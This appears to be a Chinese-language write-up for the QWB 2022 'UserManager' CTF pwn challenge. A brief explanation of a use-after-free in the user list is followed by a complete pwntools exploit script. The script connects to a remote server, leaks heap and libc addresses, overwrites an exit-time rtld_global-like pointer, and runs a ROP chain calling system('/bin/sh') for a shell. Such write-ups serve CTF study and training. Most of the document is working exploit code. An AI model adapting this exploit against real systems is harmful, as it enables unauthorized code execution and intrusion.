0%

qwb2022_UserManager

insert的时候,如果id一样,会释放第二个节点,但是当这个被释放的节点是头部节点时,即users,其位于全局中存储的指针没有清空,造成UAF。

通过UAF控制name指针,然后再结合check功能就能完成数据泄漏。同样,我们可以通过控制left和right指针,可以实现往任意地址写入一个堆地址。

由于libc为uclibc,通过调试发现exit中也存在中类似于_rtld_global的指针,我们将其覆盖为一个堆地址,然后伪造它的结构,在exit时就能实现函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#encoding:utf8
from pwn import *

#sh = process('./UserManager')
sh = remote('182.92.161.17',32163)
libc = ELF('./libc.so')
#sh = gdb.debug('./UserManager','c')

def add(id,size,content):
sh.sendlineafter(':','1')
sh.sendlineafter('d:',str(id))
sh.sendlineafter('h:',str(size))
sh.sendafter('e:',content)

def show(id):
sh.sendlineafter(':','2')
sh.sendlineafter('d:',str(id))

def delete(id):
sh.sendlineafter(':','3')
sh.sendlineafter('d:',str(id))

def clear():
sh.sendlineafter(':','4')

#context.log_level = 'debug'
add(0,0x1000,'0'*0x1000)
add(7,0x1000,'1'*0x1000) #7

raw_input()
clear()

add(10,0x100,'2'*0x100)
#users UAF
add(10,0x100,'2'*0x100)

add(9,0x38,'3'*0x38)
add(8,0x38,'4'*0x38)
#add(7,0x38,'\x00'*0x38)
#raw_input()
add(123,0x30,'\x00'*0x20 + p64(0xDEADBEEF) + '\n')
show(123)
sh.recv(1)
sh.recv(0x20)
heap_addr = u64(sh.recv(8))
print 'heap_addr=',hex(heap_addr)

delete(123)
add(123,0x30,p64(5) + p64(heap_addr + 0x3a0) + p64(0x8) + p64(0) + p64(0xDEADBEEF) + '\n')
show(5)
sh.recv(1)
mmap_heap_base = u64(sh.recv(8))
print 'mmap_heap_base=',hex(mmap_heap_base)


delete(123)
add(123,0x30,p64(5) + p64(heap_addr - 0xc78) + p64(0x8) + p64(0) + p64(0xDEADBEEF) + '\n')
show(5)
sh.recv(1)
libc_base = u64(sh.recv(8)) - 0x672e0
print 'libc_base=',hex(libc_base)
'''delete(123)
add(123,0x30,p64(0) + p64(dynamic_addr) + p64(0x8) + p64(2) + p64(0xDEADBEEF) + '\n')
show(0)
sh.recv(1)
dynamic_addr = u64(sh.recv(8))
print 'dynamic_addr=',hex(dynamic_addr)
'''
#raw_input()
rtld_global = libc_base + 0xb6f20
print 'rtld_global=',hex(rtld_global)
ret = libc_base + 0x00000000000152a2
pop_rdi = libc_base + 0x00000000000152a1
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']

delete(123)
heap7_addr = heap_addr + 0x380
add(123,0x38,p64(5) + p64(0) + p64(0x8) + p64(2) + p64(0xDEADBEEF) + p64(rtld_global - 0x20) + p64(0))
delete(5)


add(124,0x38,'/bin/sh\x00' + p64(0) + p64(13) + p64(0x80) + '5'*0x18)
add(125,0x38,'6'*0x10 + p64(libc_base + 0xb6b08) + '6'*0x8 + p64(mmap_heap_base - 0xaa0 + 0xd0) + p64(ret) + '6'*0x8)
add(126,0x38,'7'*0x38)
add(127,0x38,'8'*0x38)

delete(123)

clear()
#mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
gadget = libc_base + 0x000000000007b1f5

add(124,0x38,'a'*0x38)
add(125,0x100,'b'*0x100)
add(126,0x38,'c'*0x38)
add(127,0x38,'d'*0x38)
add(128,0x38,p64(gadget - 0x80) + 'e'*0x8 + p64(heap_addr + 0x40) + p64(libc_base + 0xb6900) + 'e'*0x18)
add(129,0x38,'f'*0x38)
add(129,0x38,'g'*0x38)


clear()
rtld_flag = heap_addr + 0xa8

add(10,0x100,'2'*0x100)
#users UAF
add(10,0x100,'2'*0x100)
add(9,0x38,'3'*0x38)
#raw_input()
add(5,0x38,p64(5) + p64(0) + p64(0x8) + p64(2) + p64(0xDEADBEEF) + p64(rtld_flag - 0x20) + p64(0))
add(123,0x100,'a'*0xd0 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + '\n')


sh.interactive()